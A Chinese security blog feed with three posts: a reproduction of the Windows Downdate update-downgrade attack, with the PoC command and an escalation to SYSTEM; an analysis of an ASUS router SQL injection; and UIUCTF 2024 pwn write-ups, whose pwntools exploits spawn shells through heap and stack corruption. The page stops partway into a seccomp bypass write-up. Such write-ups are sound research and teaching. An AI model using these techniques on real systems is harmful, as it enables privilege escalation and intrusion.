普通视图

发现新文章,点击刷新页面。
昨天以前BeaCox
  • ✇BeaCox
  • Windows 更新降级攻击复现与分析BeaCox
    SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ,可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞,从而将修补后的系统重新变成 0day 漏洞的目标。环境准备Windows版本:Windows 11 消费者版本 23H2(2024年6月更新)x64磁力连接下载后导入到 VMware。PoC 工具下载https://github.com/SafeBreach-Labs/WindowsDowndate仓库中也提供了 PyInstaller 构建好的可执行程序。漏洞复现运行 winver 看一下版本:Windows11 23H2 22631.3880以管理员权限运行PoC程序,降级到 CVE-2023-21768 可攻击的环境(AFD 驱动):1./windows_downdate --config-xml examples/CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade/Config.xml需要重启,
     

Windows 更新降级攻击复现与分析

作者 BeaCox
2024年8月22日 14:00

SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ,可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞,从而将修补后的系统重新变成 0day 漏洞的目标。

环境准备

Windows版本:Windows 11 消费者版本 23H2(2024年6月更新)x64

磁力连接

下载后导入到 VMware。

PoC 工具下载

https://github.com/SafeBreach-Labs/WindowsDowndate
仓库中也提供了 PyInstaller 构建好的可执行程序。

漏洞复现

运行 winver 看一下版本:Windows11 23H2 22631.3880
winver

以管理员权限运行PoC程序,降级到 CVE-2023-21768 可攻击的环境(AFD 驱动):

1
./windows_downdate --config-xml examples/CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade/Config.xml

downdate

需要重启,重启完成后运行cmd。
切换到 CVE-2023-21768 利用程序目录,运行 whomai 可知目前是普通用户。
找到当前 cmd 的 pid:

1
tasklist | find "cmd.exe"

运行 CVE-2023-21768 利用程序,指定要提升权限的进程为当前 cmd 进程:

1
.\Windows_AFD_LPE_CVE-2023-21768.exe <pid>

exp

再次运行 whoami 发现已经拿到 system 权限。

漏洞分析

我能够使完全修补的 Windows 机器容易受到数千个过去漏洞的影响,将修复的漏洞变成零日漏洞,并使“完全修补”一词在世界上任何 Windows 机器上都毫无意义。

Windows 更新流程

首先需要知道的是,Windows 的更新需要客户端管理权限,而更新服务器会运行受信任的安装程序来完成更新。即使是 SYSTEM 权限,也不能修改 Windows 更细节机制拥有的系统文件。

Windows 更新流程包括以下步骤:

  1. 首先,客户端要求服务器执行它提供的更新文件夹中包含的更新。
  2. 然后,服务器验证更新文件夹的完整性。
  3. 验证后,服务器将对更新文件夹进行操作,以完成更新文件。它们被保存到服务器控制的文件夹中,客户端无法访问该文件夹。
  4. 服务器将操作列表保存到服务器控制的文件夹中,客户端无法访问该文件夹。操作列表名为 Pending.xml,其中包含要执行的更新操作。例如,它指定要更新的文件、源文件和目标文件等。
  5. 最后,当操作系统重启时,将对操作列表进行操作,并在重启过程中执行更新操作。

其中第5步的更新是由受信任的安装程序在服务器端强制执行的,管理员想要提权到受信任安装程序权限会被 EDR(Endpoint Detection and Response) 阻止。因此想要代替更新服务器来完成更新是不可能的

作者一开始的目标是更新文件夹中的差异文件。但是 manifest 里硬编码了更新文件的哈希值,而更改这个值会破坏 manifest 文件的签名(在 catalog 文件中)。

漏洞点

于是作者把目标放在了操作列表(pending.xml)的修改上,并发现了注册表一个名为PoqexecCmdline的有趣的 key,它包含了一个可以解析操作列表和操作列表路径的可执行程序。其路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Configuration\PoqexecCmdline

而且这个 key 不是由受信任的安装程序强制执行,意味着我们可以用管理员权限来修改添加这个key并修改其值。这个 key 的作用是什么呢?它标志着需要更新,受信任安装服务在检测到这个 key 后,会将其值作为命令执行,而这个命令可以用于解析操作列表及其路径,这意味着修改这个 key 也就完全控制了操作列表
源代码中定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
def register_poqexec_cmd(poqexec_cmd: str) -> None:
"""
Registers the PoqexecCmdLine registry key containing the Pending.xml path

:param poqexec_cmd: The PoqExec.exe command line. Usually it is as follows -
path/to/poqexec.exe params pending_xml_nt_path
:return: None
"""
set_reg_value(winreg.HKEY_LOCAL_MACHINE,
SIDE_BY_SIDE_CONFIGURATION_REGISTRY_PATH,
"PoqexecCmdline",
[poqexec_cmd],
winreg.REG_MULTI_SZ)

源代码中调用:

1
2
3
4
5
def pend_update(pending_xml_path: str, impersonate_ti: bool) -> None:
...
poqexec_path_exp = os.path.expandvars(POQEXEC_PATH)
poqexec_cmd = f"{poqexec_path_exp} /display_progress \\??\\{pending_xml_path}"
register_poqexec_cmd(poqexec_cmd)

可以发现程序生成了一行完整的poqexec.exe命令并将其写为了这个 key 的值,其中pending_xml_path也由我们控制,其相应文件中内容就是我们之前运行的命令中--config-xml选项后指定的 xml 文件内容。

这个xml,即操作列表(pending.xml)提供创建文件、删除文件、移动文件、硬链接文件、创建注册表键和值、删除键和值等功能。例如,为了降级,可以使用硬链接文件操作,source 文件将替换 destination:

1
<HardlinkFile source="C:\UpdateDir\Source.exe" destination="C:\Windows\System32\Destination.exe"/>

将 destination 设置为要降级的目标文件,将 source 替换为降级后的文件即可。

攻击流程

攻击的主要思想就是修改操作列表。但是还需要经过一些验证/找到触发更新操作的方式,主要流程如下:

  1. 将受信任安装服务设置为自启动,这样重启系统后会检查是否需要更新
  2. 在注册表中添加PoqexecCmdline及相应的值,指定操作列表路径
  3. 添加操作列表的标识符
    标识符是一个动态数字,出于完整性目的,将它与操作列表的标识符进行比较。从代码中可以看到,在 xml 中设置的标识符要和在注册表中 PendingXmlIdentifier 的值一样。
    1
    2
    3
    4
    5
    6
    7
    8
    PENDING_XML_IDENTIFIER = "916ae75edb30da0146730000dc1be027"

    EMPTY_PENDING_XML = f"""<?xml version='1.0' encoding='utf-8'?>\n
    <PendingTransaction Version="3.1" WcpVersion="10.0.22621.2567 (WinBuild.160101.0800)" Identifier="{PENDING_XML_IDENTIFIER}">
    ...
    """
    ...
    set_pending_xml_identifier(PENDING_XML_IDENTIFIER)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    def set_pending_xml_identifier(pending_xml_identifier: str) -> None:
    """
    Sets the Pendning.xml identifier in registry

    :param pending_xml_identifier: The Pending.xml identifier
    :return: None
    :note: This API assumes the COMPONENTS hive is loaded to the registry
    :note: If this identifier is not equal to the Pending.xml identifier, PoqExec.exe will fail parsing Pending.xml
    """
    pending_xml_identifier_bytes = bytes(pending_xml_identifier, "utf-8")
    pending_xml_identifier_unicode = b"\x00".join(bytes([byte]) for byte in pending_xml_identifier_bytes) + b"\x00"
    set_reg_value(winreg.HKEY_LOCAL_MACHINE,
    "COMPONENTS",
    "PendingXmlIdentifier",
    pending_xml_identifier_unicode,
    winreg.REG_BINARY)

先前,在执行 PoC 代码后,我们重启并完成了对另一个漏洞的攻击。
在这个过程中:

  1. Windows 更新机制中的受信任安装服务自启动
  2. 检测到PoqexecCmdline,执行其中命令设置操作列表路径
  3. 受信任安装程序根据我们构建的 xml 文件进行更新,导致文件被替换成低版本脆弱文件
  4. 降级攻击完成

由于这个过程被 Windows 更新机制接管,因此十分隐蔽。

更多

原文中还提到绕过 VBS(Virtualization-Based Security) UEFI 锁等内容,这里只对降级攻击做简单介绍,感兴趣可以看原文。

自定义降级攻击

Windows 降级支持制作自定义降级。要制作自定义降级,你需要创建一个配置 XML 文件,然后将此配置 XML 输入工具即可。

在 CVE-2023-21768 的攻击中,我们用到的 XML 文件如下:

1
2
3
4
5
<Configuration>
<UpdateFilesList>
<UpdateFile source="%CWD%\examples\CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade\UpdateFiles\afd.sys" destination="C:\Windows\System32\Drivers\afd.sys" />
</UpdateFilesList>
</Configuration>

原理非常简单,就是定义用于替换的文件路径和目标文件路径。
只要是 Windows 下与系统文件版本有关的漏洞就可以自定义降级攻击。

结语

Windows 对于安全边界的划分似乎总是异于常人啊。。。

Max Severity: Important

Attack Complexity: Low

Privileges Required: Low

Exploit Code Maturity: Proof-of-Concept

Remediation Level: Unavailable

前几条和最后一条竟能同时出现在同一则安全公告中,真乃神人也。

  • ✇BeaCox
  • CVE-2023-35720 华硕路由器SQL注入漏洞分析BeaCox
    本文对华硕路由器中一个SQL注入漏洞做了简单的分析,希望能对和我一样的小白有所帮助。漏洞描述CVE-2023-35720 允许近源攻击者披露受影响的华硕 RT-AX92U 等路由器上的敏感信息。利用此漏洞无需经过鉴权。该漏洞存在于 mod_webdav.so 模块中。解析请求时,该程序在使用用户提供的字符串构建 SQL 查询语句之前,未正确验证该字符串。攻击者可利用此漏洞在 root 上下文中披露信息。固件信息ASUS RT-AX56U 固件版本 3.0.0.4.386.51665(影响最高版本)ASUS RT-AX56U 固件版本 3.0.0.4.386_51679(修复版本)漏洞分析RT-AX56U 受影响的最高固件版本为 RT-AX56U 3.0.0.4.386.51665。分析该版本 mod_webdav.so:调用array_get_element获取Keyword参数校验了长度和不含'。替换*为%,替换?为_。根据不同情况,会拼接到不同的查询语句。sql_get_table示例用法:1sql_get_table(db, "SELECT * FROM sqlite_maste
     

CVE-2023-35720 华硕路由器SQL注入漏洞分析

作者 BeaCox
2024年8月16日 19:30

本文对华硕路由器中一个SQL注入漏洞做了简单的分析,希望能对和我一样的小白有所帮助。

漏洞描述

CVE-2023-35720 允许近源攻击者披露受影响的华硕 RT-AX92U 等路由器上的敏感信息。利用此漏洞无需经过鉴权。

该漏洞存在于 mod_webdav.so 模块中。解析请求时,该程序在使用用户提供的字符串构建 SQL 查询语句之前,未正确验证该字符串。攻击者可利用此漏洞在 root 上下文中披露信息。

固件信息

漏洞分析

RT-AX56U 受影响的最高固件版本为 RT-AX56U 3.0.0.4.386.51665。

分析该版本 mod_webdav.so:


调用array_get_element获取Keyword参数


校验了长度和不含'


替换*%,替换?_


根据不同情况,会拼接到不同的查询语句。


sql_get_table示例用法:

1
sql_get_table(db, "SELECT * FROM sqlite_master where type='table' and name='LiewenMes'", &dbResult, &nRow, &nColumn, NULL);

第二个参数为查询语句
该函数在 libbwdpi_sql.so 和 liblightsql.so 中都有定义:

因此程序最后将拼接得到的语句作为查询语句在 sqlite 中执行。

可见漏洞的成因主要是获取用户输入后只进行了简单的过滤就拼接到 SQL 语句执行,造成 SQL 注入。

补丁分析

修复版本为 RT-AX56U 3.0.0.4.386_51679。

使用 bindiff 比较两个版本的 mod_webdav.so :

发现显著的不同是多了一个is_valid_string函数。


用这个函数替代了之前对'的校验。

在新版本固件文件系统中寻找该符号:

1
2
3
4
$ grep -r 'is_valid_string'
Binary file usr/sbin/lighttpd matches
Binary file usr/lib/mod_smbdav.so matches
Binary file usr/lib/mod_webdav.so matches

而旧版本中没有这个符号。
在 lighttpd 中发现该函数定义:

发现过滤了", $, ` ,;, ' 字符。
这样的过滤够不够呢……取决于程序实现吧,在mod_webdav.so中用户输入在拼接成SQL语句时基本都用''包裹,没包裹的也是数字。

调用sql_get_table函数的只有mod_webdav.so,因此该固件中应该不再存在类似成因的SQL注入漏洞。

结语

之前分析 IoT 漏洞基本专注于命令注入和栈溢出,SQL注入漏洞分析较少,因此写下本文记录。
后续有时间可以再模拟一下华硕路由器,做漏洞的复现。

  • ✇BeaCox
  • UIUCTF 2024 PWN WriteupBeaCox
    我和 L3ak 一起参加了今年的 UIUCTF,最终我们排在第7。我只做了 Pwn 题,我们队最终也 AK 了 Pwn,MinatoTW is goat🐐! 本文是比赛中所有 Pwn 题(除了一道 Pwn+Rev 以外)的 Writeup。Engllish WriteupBackup Power概况Can you turn on the backup generator for the SIGPwny Transit Authority?75 solves这道题是 MinatoTW 解出来的,我只是在赛后复现并撰写 wp。checksec 结果:1234567Arch: mips-32-bigRELRO: Partial RELROStack: Canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x400000)Stack: ExecutableRWX: Has RWX segments这是一道 mips 架构的栈溢出题。我用qemu-mips去运行,用gdb-
     

UIUCTF 2024 PWN Writeup

作者 BeaCox
2024年7月7日 19:30

我和 L3ak 一起参加了今年的 UIUCTF,最终我们排在第7。我只做了 Pwn 题,我们队最终也 AK 了 Pwn,MinatoTW is goat🐐!

本文是比赛中所有 Pwn 题(除了一道 Pwn+Rev 以外)的 Writeup。

Engllish Writeup

Backup Power

概况

Can you turn on the backup generator for the SIGPwny Transit Authority?

75 solves

这道题是 MinatoTW 解出来的,我只是在赛后复现并撰写 wp。

checksec 结果:

1
2
3
4
5
6
7
Arch:     mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

这是一道 mips 架构的栈溢出题。我用qemu-mips去运行,用gdb-multiarch调试。

题目分析

程序的主要逻辑是:

  • developerdeveloper?develper?devolper? 一个程序出现三种拼写 XD)用户只被允许执行shutdownshutup命令,没有可利用之处。

  • 登录为developer用户,command会被设置为todo。调用develper_power_management_portal()函数后回到对命令进行判断的流程。其中,develper_power_management_portal()函数中调用gets()函数,存在栈溢出。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    void __cdecl develper_power_management_portal(int cfi)
    {
    char buffer[4]; // [sp+18h] [+18h] BYREF
    int vars20; // [sp+44h] [+44h]

    gets(buffer);
    if ( vars20 != cfi )
    _stack_chk_fail_local();
    }
  • 如果commandsystem,则程序会拼接栈上变量作为system()函数的参数并执行:

    1
    2
    3
    4
    5
    6
    if ( !strcmp(command, system_str) )
    {
    sprintf(command_buf, "%s %s %s %s", arg1, arg2, arg3, arg4);
    system(command_buf);
    return 0;
    }
  • 在调用develper_power_management_portal()函数前后,程序试图通过寄存器来备份栈上变量的值:

    backup

    但是在develper_power_management_portal()函数中,程序又在调用gets()函数之后将寄存器的值设置为栈上的值:

    ruin

    因此没有起到备份的效果,我们仍然可以通过栈溢出到0x24+var_sC($sp), 0x24+var_s10($sp), ...来设置s4, s5, s6, s7从而设置arg1, arg2, arg3, arg4

至此,我们的解题路线可以归纳为:利用栈溢出设置commandsystem,并设置arg1sh;\x00,使得程序执行system("sh")。值得注意的是程序开启了cfi校验,即在develper_power_management_portal()函数返回时,会检查其返回地址有没有被修改。在这题中我们不需要劫持控制流,因此将返回地址保持原状即可。

调试

使用 qemu-mips启动程序并等待gdb远程调试:

1
qemu-mips -g 1234 ./backup-power

在另一个终端中启动gdb-multiarch并远程调试:

1
2
3
4
5
gdb-multiarch ./backup-power

pwndbg> set arch mips
pwndbg> set endian big
pwndbg> target remote :1234

可以通过 gdb 调试来定位我们需要修改的变量在栈上的位置:

1
2
pwndbg> b *0x400ee8
pwndbg> c

输入用户名devolper,再输入aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaagets()接收,就可以看到:

args

stack

command覆盖为systemarg1覆盖为sh;\x00,栈上包含程序地址处尽量保持原样即可。

值得注意的两个地方:

  1. 返回地址:上图中第二个0x400b0c。由于开启cfi,返回地址必须保持原样。
  2. gp寄存器:上图中0x4aa30会被存入gp寄存器,之后会用于计算函数偏移量,因此不能修改。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

exe = ELF("./backup-power")

context.binary = exe

def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("backup-power.chal.uiuc.tf", 1337, ssl=True)

return r


def main():
r = conn()

r.sendlineafter(b"Username: ", b'devolper')
payload = b"A" * 24 + b"sh;\x00".ljust(12, b"A") + p32(0xdeadbeef) * 2 + p32(0x400b0c)

sp = (
p32(0)*6
+ p32(0x004AA330) # that's gp, we need to keep it
+ p32(0)*5
+ b"devolper".ljust(100, b"\x00")
+ b"devolper".ljust(100, b"\x00")
+ b"system\x00" # overwrite command to system
)

payload += sp
r.sendline(payload)

r.interactive()


if __name__ == "__main__":
main()

pwnymalloc

概况

i’m tired of hearing all your complaints. pwnymalloc never complains.

65 Solves

这道题是赛中和队友共同解出来的。

题目分析

这是一道堆题,但是堆管理器是自定义的。

程序的基本功能为:

  1. 提交申诉(申请可用大小为0x48的堆块,输入内容,堆块内容被清零,堆块被释放)
  2. 查看申诉(摆设,没有实际实现)
  3. 申请退款(申请可用大小为0x88的堆块,用于存放refund_request结构体,不能被直接free
  4. 查询退款状态(状态为REFUND_APPROVED时会打印 flag )

refund_request结构体的定义如下:

1
2
3
4
5
typedef struct refund_request {
refund_status_t status;
int amount;
char reason[0x80];
} refund_request_t;

申请退款函数会将status设置为0即REFUND_DENIED,另一个状态是1即REFUND_APPROVEDamountreason都由用户输入。没有任何常规功能能直接将结构体的status设置为REFUND_APPROVED,因此需要考虑利用自定义的堆管理器来完成对该字段的修改。

由于堆块需要0x10字节对齐,因此堆块的结构可能存在下面两种情况:

chunk

当堆块可用大小为0x…8字节时,用户可用写到btag所在的8字节。正常情况下只有被free的堆块才会设置btag,这也是问题所在: 题目中的堆块可用大小都是0x…8字节,而在这种情况下,用户可以控制btag的值。

堆管理器中空闲块合并的代码对我来说比较有趣(根据unsorted bin的经验)。简单来说,在free一个堆块或者拆分一个大的堆块时,会调用coalesce()合并空闲块;该函数会检查前一个和后一个堆块的大小、状态来决定是否合并。

以合并前向块为例,有如下调用链

coalesce()->prev_chunk()->get_prev_size()get_prev_size()函数实现如下:

1
2
3
4
static size_t get_prev_size(chunk_ptr block) {
btag_t *prev_footer = (btag_t *) ((char *) block - BTAG_SIZE);
return prev_footer->size;
}

其中btag如前文所示位于每个堆块的最后8字节,堆管理器通过该值判断前向空闲堆块的大小。如果前向堆块未被free,正常情况下get_prev_size应当返回0。但如果我们将btag值设置为某一个正数,堆管理器会根据这个值去定位前向堆块的size | status,进一步判断其是否被free。通过构造 payload,我们完全可以修改某个堆块的btag,并在目标size | status处填充恰当的值,诱导堆管理器对前向的某一片连续的内存空间进行合并,不论这片内存空间处于什么样的使用状态。

攻击思路

梳理一下我们的攻击思路:

  1. 通过申请退款功能申请2个堆块(大小都为0x90)

  2. 将第二个堆块作为目标(其退款状态会被改写)

  3. 在第二个堆块的最后8字节写一个比0x90大的size作为btag(如0xb0)

  4. 在第一个堆块中间相应的位置(chunk2_addr + 0x90 - 0xb0)写上对应的size | status(如0xb0 | 0,表示被free)
    此时堆块状态:

    1

  5. 提交申诉,触发空闲块合并,会合并出一个大小为0xb0+0x50的空闲堆块,起始地址为chunk2_addr + 0x90 - 0xb0

    2

  6. 再调用申请退款函数,此时申请到的堆块起始地址为chunk2_addr + 0x90 - 0xb0,大小为0x90

  7. 这个堆块横跨第一个堆块和第二个堆块,填充合适的payload可以将第二个堆块中的refund_request->status写为1即REFUND_APPROVED

    3

  8. 调用检查退款状态函数,获得 flag

注意事项

我们伪造了一个大小为0xb0的空闲堆块,要注意在合并空闲块时会调用free_list_remove(prev_block),因此要让该假堆块的nextprev指针为0(或合法地址),否则会出现内存访问的错误。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal")

context.binary = exe


def conn():
global r
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwnymalloc.chal.uiuc.tf", 1337, ssl=True)

def complain(data):
r.sendlineafter(b"> ", b"1")
r.sendafter(b":", data)

def refund(data):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"refunded:\n", b"0") # why would i refund XD
r.sendafter(b"request:\n", data)

def win(index):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"ID:\n", str(index).encode())


def main():
conn()

# fake chunk inside
payload = b'\x00'*0x60 + p64(0xb0) +p64(0)+p64(0) + b'\n'
refund(payload)
# the target chunk we will overflow
payload = b'\x00'*0x78 + p64(0xb0)[:-1]
refund(payload)
# trigger the coalesce
payload = b'BeaCox never complains\n'
complain(payload)
# overwrite the target to make it approved
payload = p64(0)+p64(0)+p64(0x91)+p32(1)+p32(0xdeadbeef) + b'\n' # what about refunding a deadbeef?
refund(payload)
gdb.attach(r)
# win!
win(1)

r.interactive()


if __name__ == "__main__":
main()

Rusty Pointers

概况

The government banned C and C++ in federal software, so we had to rewrite our train schedule management program in Rust. Thanks Joe Biden. Because of government compliance, the program is completely memory safe.

36 Solves

这道题是赛中和队友共同解出来的。

题目分析

我从来没有写过一行 Rust 代码,但是对其内存安全特性却是早有耳闻,但……真是这样吗?

程序主要功能如下:

  1. Create a Rule or Note
  2. Delete a Rule or Note
  3. Read a Rule or Note
  4. Edit a Rule or Note
  5. Make a Law
  6. Exit

观察源代码可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const LEN: usize = 64;
const LEN2: usize = 2000;
const LEN3: usize = 80;

#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
let mut buffer = Box::new([0; LEN]);
return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
let mut buffer = Box::new([0; LEN2]);
let mut _buffer2 = Box::new([0; 16]);
return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
return Box::new([0; LEN])
}

只有get_note()函数没有调用get_ptr,那么必有蹊跷,观察get_ptr函数:

1
2
3
4
5
6
7
8
9
10
11
12
const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(
_val_a: &'a &'b (),
val_b: &'b mut T,
) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}

看上去非常难懂,但是 chatGPT 告诉我该函数的作用是延长变量的生命周期。可以在 gdb 中观察get_ruleget_note的区别:

  1. Create a Note 然后 Edit a Note 写入aaaa

  2. Create a Rule 然后 Edit a Rule 写入bbbb

  3. 查看堆

    differnce

显然,二者都会申请大小为0x50的堆块,但是get_ptr()函数会将这个堆块free掉,并允许我们继续使用这个堆块,也就是 UAF(Use After Free)。

上文提到,get_law()也调用了get_ptr(),不同的是它的大小比较大:

1
2
3
const LEN2: usize = 2000;
let mut buffer = Box::new([0; LEN2]);
return get_ptr(&mut buffer);

因此将其free后会进入 unsorted bin,其fdbk指针将会指向libc中的main_arena,造成libc leak

libc leak

攻击思路

接下来我们就需要考虑如何利用手上的 UAF 了。

libc的版本为2.31,malloc_hookfree_hook可以利用,且tcache没有safe link机制。

由于拥有 Write After Free 和 Read After Free,我们可以用Tcache Poisoning方法得到 Arbitrary Write 和 Arbitrary Read。

我们可以利用 Arbitrary Write 将free_hook写为system函数地址,然后在一个堆块(note)开头填入/bin/sh\x00并将其free,这样就会触发system('/bin/sh')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3

from pwn import *

exe = ELF("./rusty_ptrs")
libc = ELF("libc-2.31.so")
ld = ELF("ld-2.31.so")

context.binary = exe


def conn():
global r
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("rustyptrs.chal.uiuc.tf", 1337, ssl=True)

def create_rule():
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"1")

def create_note():
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"2")

def delete_rule(index):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())

def delete_note(index):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())

def read_rule(index):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())

def read_note(index):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())

def edit_rule(index, content):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())
r.sendlineafter(b"> ", content)

def edit_note(index, content):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())
r.sendlineafter(b"> ", content)

def make_law():
r.sendlineafter(b"> ", b"5")

def main():
conn()
# r.interactive()

make_law()
libc_leak = int(r.recvuntil(b",", drop=True), 16)
info(f"[L3ak] libc leak: {hex(libc_leak)}")
libc.address = libc_leak - 0x1ecbe0
info(f"[C4lc] libc base: {hex(libc.address)}")
free_hook_addr = libc.symbols['__free_hook']
info(f"[C4lc] free hook addr: {hex(free_hook_addr)}")
system_addr = libc.sym['system']
info(f"[C4lc] system addr: {hex(system_addr)}")
create_note()
create_note()
create_note()
create_note()
delete_note(3)
delete_note(2)
delete_note(1)
delete_note(0)
create_rule()
edit_rule(0, p64(free_hook_addr))
create_note()
create_note()
payload = p64(system_addr)
# gdb.attach(r)
edit_note(1, payload) # overwrite free_hook with system
edit_note(0, b"/bin/sh\x00") # set /bin/sh as argument
delete_note(0) # delete_note wiil trigger free_hook, which will call system("{what's in note}")

r.interactive()

if __name__ == "__main__":
main()

Syscalls

概况

You can’t escape this fortress of security.

143 Solves

这道题是赛中独立解出来的。

题目分析

这道题非常简单,程序会将我们的输入作为 shellcode 直接执行,但是通过seccomp对系统调用做了限制。用seccomp-tools能清晰地看到seccomp的规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
seccomp-tools dump ./syscalls
The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024
0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024
0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024
0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024
0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024
0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024
0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024
0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024
0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024
0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024
0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024
0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024
0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024
0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023
0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen)
0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023
0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024
0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

可以看到execveexecveat都被禁用,因此不能直接弹shellopen, read, write也被禁用。

攻击思路

可以在syscall.sh搜索open/read/write找到可替代的系统调用:open可以用openat替代,read可以用preadv2替代,write可以用pwritev2替代,仍然是用orw(open, read, write)的方式读./flag.txt。用法可以通过搜索man <syscall name>找到:

  1. openat()用法

    1
    2
    int openat(int dirfd, const char *pathname, int flags);
    int openat(int dirfd, const char *pathname, int flags, mode_t mode);

    If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process

    openat(AT_FDCWD, './flag.txt', 0)代表以只读模式打开当前工作目录下的./flag.txt文件。

  2. preadv2()pwritev2()用法

    1
    2
    ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
    ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);

    对不熟悉的系统调用/函数一般可以从互联网上找例子来理解:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    char          *str0 = "hello ";
    char *str1 = "world\n";
    ssize_t nwritten;
    struct iovec iov[2];

    iov[0].iov_base = str0;
    iov[0].iov_len = strlen(str0);
    iov[1].iov_base = str1;
    iov[1].iov_len = strlen(str1);

    nwritten = writev(STDOUT_FILENO, iov, 2);

    iov是一个结构体数组,每个结构体前8字节为要读/写的地址,后8字节为要读/写的长度;iovcnt用来表示数组中元素数量。

    Unlike preadv() and pwritev(), if the offset argument is -1, then the current file offset is used and updated.

    The flags argument contains a bitwise OR of zero or more of the following flags …

    offset设置为1其实是让系统替我们管理偏移量,flags通常都是设置为0即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
